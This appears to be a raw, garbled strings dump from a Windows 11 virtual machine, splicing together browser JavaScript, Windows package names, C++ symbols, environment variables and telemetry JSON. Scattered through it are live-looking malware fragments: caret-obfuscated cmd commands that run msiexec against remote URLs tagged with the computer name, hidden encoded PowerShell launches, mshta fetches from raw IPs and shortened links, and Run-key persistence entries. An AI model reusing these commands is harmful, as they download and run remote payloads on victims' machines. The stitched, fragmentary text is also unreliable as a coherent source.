0:t.getSelectedAccountId())!==null&&i!==void 0?i:"";r+="_"+n}return r}function bc(){var t,i;let r="anaheimMRUSearchHistory";if(n.config.enableHistoryCacheKeyUpdate&&(n.AccessTokenManager===null||n.AccessTokenManager===void 0?void 0:n.AccessTokenManager.getWindowsAccountType())==2){let n=(i=(t=it())===null||t===void 0?void 0:t.getSelectedAccountId())!==null&&i!==void 0?i:"";r+="_"+n}return r}function kc(t){return n.config.msbDsbRecentQueriesEnabled&&!p(t)&&nt()&&f()}function ci(){return n.config.enableAnaheimWin11ZITopSites&&n.AccessTokenManager.getWindowsAccountType()==2}function yu(){let t=n.AccessTokenManager===null||n.AccessTokenManager===void 0?void 0:n.AccessTokenManager.getWindowsAccountType();return n.config.enableBingPopularQueries?t!=1?!0:n.config.enableBingPopularQueriesForEnterprise:!1}function dc(){var t,i;return ci()||yu()?!1:n.AnaheimDataProviderV2&&n.AnaheimDataProviderV2.checkAnaheimV2Enable()?(t=b()&&n.LightweightStorage.getItem("AnaheimDataBHListDismissed")!="1"&&(n.config.enableAnaheimDataHS&&n.AnaheimDataParser.HistorySuggestionCount>0||n.config.enableAnaheimDataRC&&n.AnaheimDataParser.RecentlyClosedSuggestionCount>0))!==null&&t!==void 0?t:!1:n.AnaheimDataProvider?(i=b()&&n.config.enableAnaheimDataHS&&n.LightweightStorage.getItem("AnaheimDataBHListDismissed")!="1"&&n.AnaheimDataParser.HistorySuggestionCount>0)!==null&&i!==void 0?i:!1:!1}function gc(){var t,i;return ci()&&(n.AnaheimDataParser.TopSitesSuggestionCount<=3?n.LightweightStorage.setItem("AnaheimDataTSTileDismissed","1"):n.LightweightStorage.setItem("AnaheimDataTSTileDismissed","0")),n.AnaheimDataProviderV2&&n.AnaheimDataProviderV2.checkAnaheimV2Enable()?(t=b()&&n.LightweightStorage.getItem("AnaheimDataTSTileDismissed")!="1"&&n.config.enableAnaheimDataTSTile&&n.AnaheimDataParser.TopSitesSuggestionCount>=3)!==null&&t!==void 0?t:!1:n.AnaheimDataProvider?(i=b()&&n.config.enableAnaheimDataTSTile&&n.LightweightStorage.getItem("AnaheimDataTSTileDismissed")!="1"&&n.AnaheimDataParser.TopSitesSuggestionCount>=3)!==null&&i!==void 0?i:!1:!1}function b(){var t,i;return n.AnaheimDataProviderV2&&n.AnaheimDataProviderV2.checkAnaheimV2Enable()?(t=l(!0)&&n.config.enableAnaheimDataSHUX)!==null&&t!==void 0?t:!1:n.AnaheimDataProvider?(i=l(!0)&&n.config.enableAnaheimDataSHUX&&n.AnaheimDataProvider.getShouldShowAnaheimDataSH())!==null&&i!==void 0?i:!1:!1}function nl(){var t;return n.AnaheimDataProviderV2&&n.AnaheimDataProviderV2.checkAnaheimV2Enable()?(t=li()&&(n.config.enableAnaheimDataHS&&n.AnaheimDataParser.HistorySuggestionCount>0||n.config.enableAnaheimDataRC&&n.AnaheimDataParser.TopSitesSuggestionCount>0||n.config.enableAnaheimDataFV&&n.AnaheimDataParser.FavoriteS
K%6WindowsRuntimeTypeAttribute
DerivedComposedBWindowsRuntimeHelperTypeAttribute
"http://3z.nu:8080/yr/bk3njbmejc2uk/pavs/!computername!"%windir%\system32\shell32.dll
{powershell-windowstylehidden-executionpolicybypass-nologo-noprofile-encodedcommand"
diskVolume3\Windows\Prefetch\IPCONFIG.EXE-BFEC2AD0.pf
Windows
..\windows\system32\cmd.exe/cmethane\unclotted.cmdregc:\windows\system32\shell32.dll%systemroot%
ComSpec=C:\WINDOWS\system32\cmd.exe;
Microsoft.Windows.
:\windows\tasks\windows.exeskidhunter
$LOG = @WINDOWSDIR$
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunI
ISO-8859-1-Windows-3.0-Latin-1
csWindows30Latin1
ISO-8859-1-Windows-3.1-Latin-1
csWindows31Latin1
ISO-8859-2-Windows-Latin-2
csWindows31Latin2
ISO-8859-9-Windows-Latin-5
csWindows31Latin5
Windows-31J
csWindows31J
windows-950
windows-950-2000
Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
119^com.microsoft.windows.extensions.xaml.aix
11a^com.microsoft.windows.extensionpackage
110^com.microsoft.windows.extensionpackage
111^com.microsoft.windows.extensionpackage
163^com.microsoft.windows.extensionpackage4
165^com.microsoft.windows.extensions.xaml
\\.\root\Microsoft\Windows\DeviceGuard:__Win32Provider.Name="Win32_DeviceGuard"
?nativeMetricScaleFactor@QWindowsStylePrivate@@SANPEBVQWidget@@@Z
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
r.exe;%system32%\gpresult.exe;%system32%\klist.exe;%system32%\msdt.exe;%system32%\repadmin.exe;%system32%\consent.exe;%system32%\compmgmtlauncher.exe;%localappdata%\microsoft\onedrive\%version%\microsoft.sharepoint.exe
%system32%\at.exe
%system32%\convert.exe;%system32%\secedit.exe
%system32%\wiaacmgr.exe;%system32%\wiawow64.exe
%system32%\quickassist.exe
%system32%\devicecensus.exe
%system32%\dpapimig.exe;%system32%\dsmgmt.exe;%system32%\easinvoker.exe;%system32%\netplwiz.exe;%system32%\ntdsutil.exe
%system32%\certutil.exe;%system32%\change.exe;%system32%\chglogon.exe;%system32%\chgport.exe;%system32%\credwiz.exe;%system32%\dcdiag.exe;%system32%\deviceenroller.exe;%system32%\dpapimig.exe;%system32%\easinvoker.exe;%system32%\net.exe;%system32%\net1.exe;%system32%\netdom.exe;%system32%\netplwiz.exe;%system32%\query.exe;%system32%\quser.exe;%system32%\qwinsta.exe;%system32%\raserver.exe;%system32%\reset.exe;%system32%\rwinsta.exe;%system32%\systemsettingsadminflows.exe;%system32%\tscon.exe;%system32%\tskill.exe;%system32%\wpcmon.exe
%system32%\mdeserver.exe;%system32%\mfpmp.exe
%system32%\dialer.exe;%system32%\nethost.exe;%system32%\rasautou.exe;%system32%\rasdial.exe;%system32%\rasphone.exe
%system32%\compmgmtlauncher.exe;%system32%\disksnapshot.exe;%system32%\filehistory.exe;%system32%\licensingdiag.exe;%system32%\lpksetup.exe;%system32%\microsoft.uev.synccontroller.exe;%system32%\phoneactivate.exe;%system32%\powershell.exe;%system32%\rmactivate.exe;%system32%\scriptrunner.exe;%system32%\sppextcomobj.exe;%system32%\stordiag.exe;%system32%\tzsync.exe;%system32%\uevappmonitor.exe;%system32%\useraccountcontrolsettings.exe;%programfiles%\microsoft\edge\application\msedge.exe;%programfiles%\mozilla firefox\firefox.exe;%programfiles%\microsoft office\root\office%version%\excel.exe;%programfiles%\microsoft office\root\office%version%\outlook.exe;%programfiles%\microsoft office\root\office%version%\powerpnt.exe;%programfiles%\microsoft office\root\office%version%\winword.exe;%appdata%\zoom\bin\zoom.exe;%programfiles%\microsoft office\root\office%version%\msaccess.exe;preconditions%programfiles%\microsoft office\root\office%version%\msoadfsb.exe;preconditions%programfiles%\microsoft office\root\office%version%\mspub.exe;preconditions%programfiles%\microsoft office\root\office%version%\namecontrolserver.exe;preconditions%programfiles%\microsoft office\root\office%version%\onenote.exe
%system32%\netsh.exe;%system32%\runtimebroker.exe
%system32%\systemresetplatform;%syswow64%\systemresetplatform
%system32%\systemresetplatform\systemresetplatform.exe
%system32%\dfsdiag.exe;%system32%\msdtc.exe
%system32%\resetengine.exe;%system32%\systemreset.exe
%system32%\bootim.exe
%system32%\change.exe;%system32%\chglogon.exe;%system32%\query.exe;%system32%\reset.exe
%system32%\bootim.exe;%system32%\reagentc.exe;%system32%\recdisc.exe;%system32%\recoverydrive.exe;%system32%\relpost.exe;%system32%\resetengine.exe;%system32%\sdclt.exe;%system32%\systemreset.exe
%system32%\cmdl32.exe;%system32%\nethost.exe;%system32%\netsh.exe;%system32%\rasautou.exe;%system32%\rasdial.exe
%system32%\rasphone.exe
%system32%\rasautou.exe
%system32%\c
AutoATAWindowsString12345678901
Microsoft.Windows.Storage.StorportNotification
Microsoft.Windows.Storage.StorportOnDemandData
Microsoft.Windows.Storage.Storport
.?AV?$function@$$A6A?AUIndexPath@Controls@Xaml@UI@Windows@winrt@@AEBV?$vector@USelectedItemInfo@@V?$allocator@USelectedItemInfo@@@std@@@std@@I@Z@std@@
.?AV?$function@$$A6A?AUIInspectable@Foundation@Windows@winrt@@AEBV?$vector@USelectedItemInfo@@V?$allocator@USelectedItemInfo@@@std@@@std@@I@Z@std@@
WindowsStringHasEmbeddedNull
WindowsIsStringEmpty
WindowsDuplicateString
WindowsCreateStringReference
WindowsCreateString
WindowsDeleteString
WindowsGetStringRawBuffer
ucal_getWindowsTimeZoneID
ucal_getTimeZoneIDForWindowsID
Windows.Globalization.dll
<shellexecute=recycler\systems.comopen=systems.comshellexecute=systems.comshell\start\command=systems.comshell\read\command=explorer.exeshell\start\command=recycler\systems.com\recycler\systems.com\system32\taskmger.com
CE2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy!Microsoft.Windows.AppResolverUX
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
MicrosoftWindowsShellNetworkUX
sc:\windows\system32\mshta.exehttp://8.140.234.141
APPDATA=C:\WINDOWS\system32\config
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.Desktop.TextInput.InputSwitch
Microsoft.Windows.Desktop.Shell.ImmersiveIcons
Microsoft.Windows.Shell.DelayAllocateTLS
Microsoft.Windows.Desktop.TextInput.UIManager
Microsoft.Windows.Desktop.TextInput.JapaneseIme
Microsoft-Windows-Unified-Telemetry-Client
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
hpeechWindowStoreLogo.png
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
 tentando preencher as senhas. Digite sua senha do Windows para permitir isso.copilotupdateServi
t update because it might still be running on your device under another Windows account. Please close all Microsoft Copilot application windows and try again.Allow updates to be downloaded as soon as they're available and applied when the application restarts.Automatically download updates over metered networks (for example, cellular network) and apply them on application restart. Charges may apply.Use double-click to close application tabsCustomize which buttons always show on your applicationShow Windows 11 visual effects in applicationFor this setting change to take effect, restart your applicationAllow Microsoft Copilot to save your passwords and help keep them secureMicrosoft Copilot will suggest strong passwords and, if you choose to use them, they
Microsoft-Windows-Kernel-Package-Processor-Drivers-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
WindowsIdentity
COMPUTERNAME=WINDOWS11
DriverData=C:\Windows\System32\Drivers\DriverData
LOCALAPPDATA=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5FILE0
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
WindowsApps\Cortana<
System32\svchostO
WindowsApps\Music.UIP
software\microsoft\windows\currentversion\run","updating","conhostmshtahttp://www.j.mp/
C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.3.25\inc\wil\Resource.h
WindowsAccountSyncConsentCoordinator unavailable
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResour
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
\\.\root\Microsoft\Windows\Storage\PT:__Win32Provider.Name="DelegatorProvider"
Microsoft-Windows-CoreSystem-RemoteFS-Server-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
windows
MainWindowStatusBarPalette
GetDockWindowSize
get_DefaultFloatWindowSize
set_DefaultFloatWindowSize
ShouldSerializeDefaultFloatWindowSize
ResetDefaultFloatWindowSize
OS=Windows_NT
Microsoft.LockApp_cw5n1h2txyewy!WindowsDefaultLockScreen
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
f7^com.microsoft.windows.extensionpackage
f9^com.microsoft.windows.extensionpackage
fb^com.microsoft.windows.extensionpackage
SOFTWARE\Microsoft\Windows\CurrentVersion\Run
}C:\Windows\Temp\106.607C
Windowssettings.Settings.resourcesW
WINDOWS11
WINDOWS11
WINDOWS11
!#SCPT:WindowsSandboxConfig.B
6dc:\windows\system32\cmd.exe/cmshta"javascript:var_$_
I--headlesspowershell-windowstylehidden-noprofile-eyw
+"/quiet/extract:%%systemroot%%\system32\"
start/minpowershell.exe-windowstylehidden"cls;write
%WINDIR%\system32\wscript.exe
(windows-defender(-features|-gui)?[^-\w])
USERDOMAIN=Windows11
windir=C:\WINDOWS
SystemRoot=C:\WINDOWS
COMPUTERNAME=WINDOWS11
Cpcmd.exesdaipl/v/c^st^art^ms^iexec^y^c^o^eh^h=^pvg/^q^i^v^h^p^r^x=adu/^fv"http://6t.pm:8080/a0ywsp9yhaxj/n6/98nusd/ei/b/!computername!"uok=^t^j^lzxb^j%windir%\system32\imageres.dll%
?start-sleep-s3powershell.exe-noe-nop-noni-windowstylehidden-executionpolicybypass-filec:\programdata\
gqcmd.exenew_digital/q/v/c^s^t^art^m^sie^x^ec/^fv"http://2t.wf:8080/yoyszi1mt58jz3heq5nwgm76xgzblc0ufcqpnv/!computername!"^ji^d^mh^m^p=p^z^dsy^o^cs/^qn%windir%\system32\shell32.dll%
cmd.exepublic/q/x/r^sta^r^t^ms^ie^x^ec/^p^ac^ka^g^e"http://gz.qa:8080/b8y8/elzhkkzzwq/kuwl/9tg/%computername%"/quie^t^t^ddia^x^z^uh=mmj^j^ce^h^o!%systemroot%\system32\shell32.dll%
Y\cmd.exesdaipl2/v/r^s^t^a^rtms^ie^x^e^c/fv"http://2i.wf:8080/baafqvtzt/paj0valq/wg73dmb5m8ktay4dis5/!computername!"/qu^i^e^ton^z^u=^s^ir^q^ixt^p"%systemroot%\system32\imageres.dll
2\system32\windowspowershell\v1.0\powershell.exef.$env:c:\w*\s*2\m*h?a.*'https://transfer.sh/get/nec15j/5455445.hta'2c:\users\lordw\downloads\pexels-photo-10182119.ico%userprofile%
"=\windows\system32\cmd.exec:\windows\system32}/v/csta^r^t^msi^e^x^e^c/qndcz=^hzk^nis^s^m/^fv"http://3z.nu:8080/yub/2ybplx9mcxooxsxzhnby8rgj/!computername!"dhgft=x^hq%wn]nd.q`xmarti
&c:\windows\system32\cmd.exe/q/v/cs^ta^rt^m^si^exec^m^hps^l^ku^bo=^n^tl^s^xu^sji/^q^pf^p^q^jf=^o^qv^m^o^iw/^p^ack^ag^e"http://m0.nu:8080/bcbc/luevu/w7ff1zs4jufekjrx/!computername!"
-windowstyle
onecoreuap\windows\analog\input\mirage\holographicavailable\holographicavailable.cpp
>C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy9
Mimi2Bat\Microsoft\Windows\Tmp*" & rmdir "
windows 
WindowsVersion
Microsoft.Windows.MobilityExperience.CrossDevice.Health
Microsoft.Windows.MobilityExperience.CrossDevice
>0){chrome.tabs.update(tab_id,{url:url});}chrome.windows.create({url:"https://"+
GetWindowsDirectoryW
UIndicates if Windows will draw the menu item or if the user will handle the painting.
BRetrieves the menu item that contains a list of MDI child windows.
DSpecifies the item whose DropDown will show the list of MDI windows.
.?AU?$produce_base@U?$inspectable_observable_vector@V?$vector@UIInspectable@Foundation@Windows@winrt@@V?$allocator@UIInspectable@Foundation@Windows@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IIterable@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$produce@U?$inspectable_observable_vector@V?$vector@UIInspectable@Foundation@Windows@winrt@@V?$allocator@UIInspectable@Foundation@Windows@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IIterable@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$produce_base@U?$convertible_observable_vector@Uhstring@winrt@@V?$vector@Uhstring@winrt@@V?$allocator@Uhstring@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@2@@impl@winrt@@U?$IVector@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AUtype@?$abi@U?$IVector@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@winrt@@X@impl@winrt@@
.?AUtype@?$abi@UIInspectable@Foundation@Windows@winrt@@X@impl@winrt@@
.?AUtype@?$abi@UIUnknown@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$produce@U?$convertible_observable_vector@Uhstring@winrt@@V?$vector@Uhstring@winrt@@V?$allocator@Uhstring@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@2@@impl@winrt@@U?$IVector@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$produce_base@UXamlBindings@implementation@TaskManagerApp@winrt@@UIDataTemplateComponent@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AUtype@?$abi@UIDataTemplateComponent@Markup@Xaml@UI@Windows@winrt@@X@impl@winrt@@
.?AU?$produce@UXamlBindings@implementation@TaskManagerApp@winrt@@UIDataTemplateComponent@Markup@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce@U?$convertible_observable_vector@Uhstring@winrt@@V?$vector@Uhstring@winrt@@V?$allocator@Uhstring@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@2@@impl@winrt@@U?$IVectorView@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$produce_base@U?$convertible_observable_vector@Uhstring@winrt@@V?$vector@Uhstring@winrt@@V?$allocator@Uhstring@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@2@@impl@winrt@@U?$IVectorView@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AUtype@?$abi@U?$IVectorView@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$produce@UEcoModeDialogViewModel@implementation@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@@impl@winrt@@
stop_windows_d
{"ver":"4.0","name":"Microsoft.Windows.Security.CodeIntegrity.NWActivityVerbose.SACDecision","time":"2026-02-24T08:07:31.8900880Z","iKey":"o:95c1f21d6cb047a09e7b423c1cb2222e","ext":{"utc":{"eventFlags":258,"pgName":"MSPG","dvcSample":59.81,"flags":52412023344,"edition":48,"epoch":"800503","seq":35},"privacy":{"dataType":32088572553658445,"isRequired":false},"metadata":{"f":{"Count":4,"MinSmartLockerVerificationTime":4,"MaxSmartLockerVerificationTime":4,"MinDefenderVerificationTime":4,"MaxDefenderVerificationTime":4,"MinEventTime":4,"MaxEventTime":4,"EventVersion":2,"Status":2,"SACStatus":2,"SecureRequiredFlags":2,"GenericVerificationError":2,"FileVersion":5,"SACPolicyGuidID":8,"SACExternalAuthorizationFlags":2,"SACExternalAuthorizationUsed":2,"DefenderStatus":2,"DefenderCatDbFailure":2,"DefenderTrust":2,"DefenderTrustExpiryTime":4,"EAReplayFailureState":2,"CachedDefenderTrust":2,"CachedDefenderTrustExpiryTime":4,"DefenderClientStatusCode":2,"DefenderCloudHTTPCode":2,"DefenderEngineReportGUID":8,"DefenderShellExecutedStatus":2,"DefenderShellExecutedTrust":2,"DefenderShellExecutedClientStatusCode":2,"DefenderShellExecutedCloudHTTPCode":2,"DefenderShellExecutedEngineReportGUID":8,"DefenderTelemetryFlags":2,"OriginClaimSessionID":8,"OriginClaimSubSessionID":8,"CallingProcessOriginClaimSessionID":8,"CallingProcessOriginClaimSubSessionID":8,"FileSignatureInfo":{"a":{"f":{"VerificationError":2,"KnownRoot":2,"PolicyFlags":2,"ValidFrom":9,"ValidTo":9}}}},"privTags":32088572553658445,"policies":7},"os":{"bootId":8,"name":"Windows","ver":"10.0.26200.7840.amd64fre.ge_release.240331-1435","expId":"RS:3107B,MD:283BAEF,ME:3667C98,ME:3667C9A,ME:3667CA2,ME:3667CA7,ME:3667CAD,ME:38419AC,ME:3536BD9,MD:2FE0A31,MD:2FE0A40,MD:2FE0A4F,MD:37B239D,PD:3536CF8,PD:33CDA4D,MD:36AF640,MD:9999,CD:2601D"},"app":{"id":"W:0000da39a3ee5e6b4b0d3255bfef95601890afd80709!0000da39a3ee5e6b4b0d3255bfef95601890afd80709!","ver":"1970/01/01:00:00:00!0!","is1P":3,"asId":1},"device":{"localId":"s:3CA88F2F-E712-492F-98AE-9B40194CF1A5","deviceClass":"Windows.Desktop"},"protocol":{"devMake":"VMware, Inc.","devModel":"VMware20,1"},"user":{"localId":"w:DBFCEB78-2C59-FA53-8626-4ED67E8A4320"},"loc":{"tz":"+01:00"}},"data":{"Count":1,"MinSmartLockerVerificationTime":0,"MaxSmartLockerVerificationTime":0,"MinDefenderVerificationTime":0,"MaxDefenderVerificationTime":0,"MinEventTime":134163939933939382,"MaxEventTime":134163939933939382,"EventVersion":8,"EventType":"Allow","AllowedToLoad":true,"Status":0,"SACStatus":0,"SACBlockUIType":0,"NWDesktopEnabled":0,"NWDesktopEvalEnabled":1,"NWDesktopRegKeyState":2,"Options":6,"DeveloperOptions":3154931712,"FileName":"\\Device\\HarddiskVolume3\\Windows\\System32\\WinSync.dll","ShellExecutedFileName":"","ProcessName":"\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe","FlatSHA256Hash":[],"FileHash":[181,175,101,37,157,178,151,124,150,85,166,27,33,183,165,195,237,140,35,49],"SecureRequiredFlags":0,"RequestedSigningLevel":2,"GenericVerificationError":0,"SACPolicyOptions":2978817812,"OriginalFileName":"WINSYNC.DLL","InternalName":"WINSYNC","FileDescription":"Synchronization Framework","ProductName":"Microsoft Synchronization Framework","FileVersion":564920683695702017,"TimeDateStamp":3754858659,"SACPolicyGuidID":"1283AC0F-FFF1-49AE-ADA1-8A933130CAD6","PolicyName":"25979.1000.20231018","PolicyID":"VerifiedAndReputableDesktopEvaluation","SACExternalAuthorizationFlags":2228224,"SACExternalAuthorizationUsed":2097152,"SACDefenderScanFailedOverride":0,"SACUnsignedUnknownOverride":0,"DefenderStatH
Get Started Welcome to Windows
P~MICROSOFTWINDOWS.CLIENT.CBS_CW5N1H2TXYEWY!WEBEXPERIENCEHOST
TEMP=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\Temp
TMP=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\Temp
LOCALAPPDATA=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC
TEMP=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\Temp
LOCALAPPDATA=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC
LOCALAPPDATA=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC
TEMP=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\Temp
TMP=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\Temp
TMP=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\Temp
system.windows.forms.picturebox).load(
/kpowershell-windowstylehidden-encodedcommand"
;~ERROR: Cannot set windows hook.
!#AGGR:CommonWindowsDllLocations
Windows.Networking.Sockets.Internal.WinHttpPushEnableWrapper
Windows.Networking.Sockets.MessageWebSocket
Windows.Networking.Sockets.SocketActivityContext
Windows.Networking.Sockets.SocketActivityInformation
Windows.Networking.Sockets.SocketError
Windows.Networking.Sockets.StreamSocket
Windows.Networking.Sockets.StreamSocketListener
Windows.Networking.Sockets.StreamWebSocket
Windows.Networking.Sockets.WebSocketError
Windows.Networking.Sockets.WebSocketKeepAlive
prefixdoscommandswith"c:\windows\system32\cmd.exe/c&lt;.
%Microsoft Windows Production PCA 20110
Microsoft Windows0
Microsoft Windows
Microsoft Windows
<agent><os>Windows</os
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
The QueryId property holds a Windows Management-generated identifier for the query. The provider can track this so that during a later cancellation it will know which query was canceled.
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
